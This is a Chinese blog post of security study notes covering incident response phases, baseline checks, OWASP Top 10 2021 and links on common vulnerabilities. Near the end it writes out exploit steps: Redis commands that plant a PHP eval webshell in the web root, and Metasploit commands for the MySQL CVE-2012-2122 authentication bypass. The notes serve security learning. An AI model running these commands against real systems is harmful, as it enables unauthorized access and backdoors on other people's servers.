一些知识汇总_554端口-CSDN博客

本文链接：https://blog.csdn.net/haoaaao/article/details/126247069

0x00 应急响应

理论

1、概述

应急响应是指针对已经发生或可能发生的安全事件进行监控、分析、协调、处理、保护资产安全。

2、阶段

a.准备阶段：预防为主，例如扫描、风险分析、打补丁等。

b.检测阶段：检测事件是已经发生的还是正在进行中的，以及事件产生的原因。确定事件性质和影响的严重程度，以及预计采用什么样的专用资源来修复。

c.抑制阶段：限制攻击/破坏波及的范围，同时也是降低潜在的损失。抑制策略：完全关闭所有系统；从网络上断开主机或断开网络部分；修改所有防火墙和路由器过滤规则；封锁或删除被攻击的登录账号；加强对系统和网络行为的监控；设置诱饵服务器进一步获取事件信息；关闭受攻击的系统或其它相关系统的部分服务。

d.根除阶段:通过事件分析找出根源并彻底根除，以避免攻击者再次使用相同的手段攻击系统。

e.恢复阶段：把被破坏的信息彻底换原到正常运作状态。

f.总结阶段：回顾并整合应急响应过程的相关信息，进行事后分析总结和修订安全计划、政策、程序，并进行训练，以防止入侵的再次发生。

3、场景

勒索病毒、挖矿木马、Webshell、网页篡改、DDos攻击、数据泄露、流量劫持。

4、大致步骤

事件类型

时间范围

系统排查

进程排查

服务排查

文件痕迹排查

日志分析

得出结论

5、排查流程

网络安全应急响应(归纳)_花城的包包的博客-CSDN博客_网络安全应急响应

windows、linux、数据库应急响应、以及应急响应的日志分析、流量分析技术见公司pdf

0x01 基线检查

理论

基线一般指配置和管理系统的详细描述，或者说是最低的安全要求，包括服务和应用程序设置、操作系统组件的配置、权限和权利分配、管理规则等。

漏洞是在系统实现或系统安全策略上存在的缺陷，例如应用软件或操作系统软件在逻辑设计上的缺陷或在编写时产生的错误，这个缺陷或错误可以被利用，从而使攻击者能够在未授权的情况下访问或破坏系统。

从狭义的角度，漏洞更多指系统设计和开发的缺陷，但从广义的角度，配置问题是一种系统漏洞，需要用户及时处理修复。

脚本测试流程

（1）下载脚本，将脚本拷贝至被检测主机；

（2）终端执行命令：check.exe ip

（3）执行完之后会生成一个result文件夹，将该文件夹内所有内容导入安恒基线检查平台导出报告

基线检查手测（公司视频有）

0x02 OWASP top10（2021年）

// 2021版的owasp也已经更新，分别依次是：失效的访问控制、加密失败、注入、不安全的设计、安全配置错误、易受攻击和过时的组件、认证和授权失败、软件和数据完整性故障、安全日志记录和监控失败、服务端请求伪造（SSRF）。2021中出现了三个新类别，四个类别的命名和范围发生了变化。

链接：

关于OWASP Top 10 2021的整理_才殊学浅的博客-CSDN博客_owasp top10

0x03 需详细掌握原理的漏洞

1、汇总链接（OWASP top10 2017年）

【渗透整理】OWASP Top 10_久违 °的博客-CSDN博客_owasp top10

2、中间件

小结

中间件漏洞总结_shayebudon的博客-CSDN博客_中间件漏洞

常见中间件漏洞复现

常见中间件漏洞复现（上） - 哔哩哔哩

3、数据库安全

（1）弱口令

（2）sql注入详解

❤️分类

（1）sql注入类型_iuyoo的博客-CSDN博客_sql注入类型

（2）初学SQL 注入之常见的几种注入类型_八阿哥.的博客-CSDN博客_0x7e

❤️注入方法

常见SQL注入类型及原理_1stPeak的博客-CSDN博客_sql注入的几种类型

❤️基本语句

1）查询

# 查询所有字段

select * from users;

# 查询指定字段

select user,password from users;

# 条件查询

select * from users where user='admin'；

# 逻辑与

select * from users where user='admin' and user_id= 6；

# 逻辑或

select * from users where user='adminn' or user_id= 5；

3）sqlmap语句

sqlmap使用教程大全命令大全（图文）_Cwillchris的博客-CSDN博客_sqlmap使用教程

❤️waf绕过

SQL注入之WAF绕过注入_Crazy Anime的博客-CSDN博客_sql注入waf绕过

（3）redis未授权

❤️利用步骤：

redis-cli -h ip                                //客户端链接至redis
>config set dir /var/www/html                  //设置写入目录
>config set dbfilename shell.php               //设置写入文件
>set webshell "<?php @eval($_POST[x]);?>"      //以键值对的形式写入一句话木马
>save                                          // 保存

（4）mysql身份认证（CVE-2012-2122）

❤️利用步骤：

mestasploit
    msf > use auxiliary/scanner/mysql/mysql_authbypass_hash
    msf auxiliary(mysql_authbypass_hash) > show options    (查看选项)
    msf auxiliary(mysql_authbypass_hash) > set RHOSTS ip (目标)
    msf auxiliary(mysql_authbypass_hash) > run